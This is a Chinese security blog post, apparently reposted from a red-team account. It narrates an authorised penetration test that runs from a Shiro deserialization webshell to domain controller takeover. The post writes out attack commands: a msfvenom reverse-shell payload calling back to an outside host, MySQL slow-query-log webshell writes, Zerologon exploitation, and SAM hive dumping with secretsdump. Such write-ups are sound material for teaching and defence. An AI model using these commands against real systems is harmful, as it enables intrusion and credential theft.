专栏名称: 黑白之道
黑白之道,普及网络安全知识!
目录
相关文章推荐
奔腾融媒 新闻天天看  ·  过年红包别随便抢!这些“春节福利”都是诈骗陷阱→ ·  13 小时前  
奔腾融媒 新闻天天看  ·  过年红包别随便抢!这些“春节福利”都是诈骗陷阱→ ·  13 小时前  
看雪学苑  ·  5.6Tbps!东亚ISP遭史上最强攻击,C ... ·  4 天前  
都市110  ·  春节反诈不打烊,守护幸福过大年! ·  2 天前  
海峡导报  ·  山姆超市,又出事了! ·  3 天前  
海峡导报  ·  山姆超市,又出事了! ·  3 天前  
51好读  ›  专栏  ›  黑白之道

一步步获取你的核心权限

黑白之道  · 公众号  · 互联网安全  · 2021-01-22 11:11

正文


文章来源:酒仙桥六号部队

背景

最近都在做渗透测试项目,并不需要内网渗透,少了很多的成就感。于是,找了一个授权的企业项目,目标是获取内网核心权限,手段不限。这就好说了,就喜欢这种能让我胡乱来的目标。

入口

对于企业而言,散落在外的资产肯定还有不少,于是为了快速打点,先进行一波常规的信息收集。先进行了子域名爆破、fofa、谷歌等方式找到多个子域,通过其中一个子域名反查找IP,在历史解析记录中找到了真实的IP,再继续进行C段端口扫描,收集到了多个资产列表。扔进XRAY跑一波,在其中的一个资产中,发现了存在shiro反序列话漏洞,手工来测试一下:

github上找个了工具尝试一下,发现可以执行命令:

查看了一下进程后,发现web是以jar包启动的,无法直接写入shell,直接尝试写内存shell:

成功写入了蚁剑的shell,先本地配置一下,并设置Accept-Header为:thisIsMyJob!@

设置好后直接连接,获取webshell:

内网漫游

翻看了一下这台linux上的文件,由于linux权限不够,无法查看shadow,尝试提权也均失败了,查看历史命令、计划任务等,并未有什么收获。只能下载jar包下来分析,找到了mysql数据库的配置密码。于是先探测一下内网,看能否快速的拿到其他主机的权限,不行再从数据库入手看看。

因此,先做了个代理,配置一下frp,先上传客户端到web上,修改了一下frpc.ini文件,使用sock代理:

自己的VPS上传服务端,修改一下权限,直接执行./frps -c frps.ini:

然后回到客户端执行一下./frpc -c frpc.ini,即可使用。

本地使用proxifier代理一下:


先使用弱口令爆破工具爆破一波看看,果然有点东西,找到了两台linux弱口令:


继续翻文件,还是一无所获,浪费了很多时间。可能核心业务不在linux上,尝试一下能否获取一个windows权限。先试试ms17-010漏洞,先生成一个木马:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=2233 -f elf > linux.elf

上传到web上,本地msf监听一下:

use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp show options set LHOST 1.1.1.1 set LPORT 23333 run

在web的命令行下给linux.elf添加执行权限后直接运行,即可获取到meterpreter。然后再添加一下路由:

使用17-010扫描模块跑一下:

未扫到任何漏洞,怀疑是不是哪里有问题,本地代理用工具再跑一次:

确实不存在,这补丁确实都打了,白忙活了一场。想到之前还有个数据库的连接串还没利用,可能还有点搞头。由于之前代理过了,直接使用navicat连接数据库,查看一下mysql版本是5.7:

由于secure-file-priv的存在,无法尝试提权。nmap扫描了一下数据库的ip地址,发现8090端口还存在一个php系统,服务器是server。于是先查询一下mysql的数据库文件路径,发现不是phpstudy或者wamp等软件一键搭建的:可要想获取shell,前提要得到web路径,才能写入木马,通过web报错页面、目录扫描都未获取到。于是开始尝试一下IIS的默认路径c:\Inetpub\wwwroot\,写入后访问不到。想到mysql是放在d盘下,因此尝试d盘的d:\www、d:\Inetpub\wwwroot\、d:\data等路径,都没访问到,最终随手测了下d:\web,竟成功写入。通过mysql慢日志写shell过程如下:

set global slow_query_log='ON'; set global slow_query_log_file='D:/web/cmd.php'; select '' or sleep(11); set global slow_query_log='OFF';

由于存在杀软,普通的一句话木马直接被杀,因此重新写入一个冰蝎的马:

set global slow_query_log='ON'; set global slow_query_log_file='D:/web/t.php'; select '' or sleep(11); set global slow_query_log='OFF';

写入后直接访问t.php,重新生成.1.php的冰蝎马,直接连接:

查看一下系统权限,有点低:

查看一下ip地址:

由于是该台服务器server2012,无法直接获取windows密码,且存在国外某某科技的杀软,已有的提权工具都被杀了,技术不行绕不过,还是换个思路。

于是,开始翻找文件,看是否会有敏感信息。在服务器上发现多套源码,在其中的一个文件里发现了配置信息:

尝试连接数据库,失败!!

通过这收集到的密码,再做成密码字典,开始爆破C段的RDP、mysql、sqlserver、ftp等服务:

爆破后,发现是当前服务器的administrator密码,通过之前的端口信息收集发现开放了3389端口,可以远程登录。

还是继续进行信息收集,查看当前服务器是否是域内机器,若存在域就相对好很多。执行:

net time /domain

发现是存在域的。查看一下域控机器:

net group "domain controllers" /domain

获取一下域控的IP地址:

目前知道当前的机器在域内,并有了服务器的管理员权限。可以尝试通过导出hash的方式获取域账号信息,再进行PTH。因此,直接远程连接,右键导出lsass.exe进程的dump文件,再上传免杀的mimikatz进行读取,但最终读取失败:

看来只能通过其他方法了,联想到前不久爆出的NetLogon权限提升漏洞,可以尝试一下,毕竟时间过得不久,可能都还没打补丁。

使用github上的搜到的脚本尝试一下,先验证是否存在漏洞:

python3 zerologon_tester.py DC 10.100.1.231

返回success,表示存在漏洞。

使用cve-2020-1472-exploit.py将机器账户重置:

使用DCSync导出域内所有用户凭据:

通过wmic进行pass the hash,可拿到域控制器中的管理员权限:

至此,已经拿到核心权限了,截了个图,赶紧恢复一下机器账号的密码,不然脱域问题就大了。

先导出SAM数据库文件,下载回来后,记得删除:

reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save

通过sam等文件获得原ntlm hash:

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

通过获取到的$MACHINE.ACC账户的hash,进行恢复:

总结

这次的渗透,主要是通过外网的shiro漏洞上传内存马,快速打点,以此做跳板进入内网。再通过源码获取数据库配置文件,尝试获取到数据库服务器的普通权限后,继续信息收集,获取到本地管理员权限,发现服务器在域内,且存在NetLogon漏洞,此后成功获取域控。


推荐文章++++

*【Linux】Linux系统中的权限详解

*近20年Windows权限提升集合

*MYSQL快速写入一句话拿权限技巧


推荐文章
奔腾融媒 新闻天天看  ·  过年红包别随便抢!这些“春节福利”都是诈骗陷阱→
13 小时前
奔腾融媒 新闻天天看  ·  过年红包别随便抢!这些“春节福利”都是诈骗陷阱→
13 小时前
海峡导报  ·  山姆超市,又出事了!
3 天前
海峡导报  ·  山姆超市,又出事了!
3 天前
瞭望智库  ·  人生得意须读书
7 年前
每晚推一本好书的熊猫君  ·  叮咚——你有50本赠书请查收!
7 年前
考研英语时事阅读  ·  【核心词汇】DAY 182
7 年前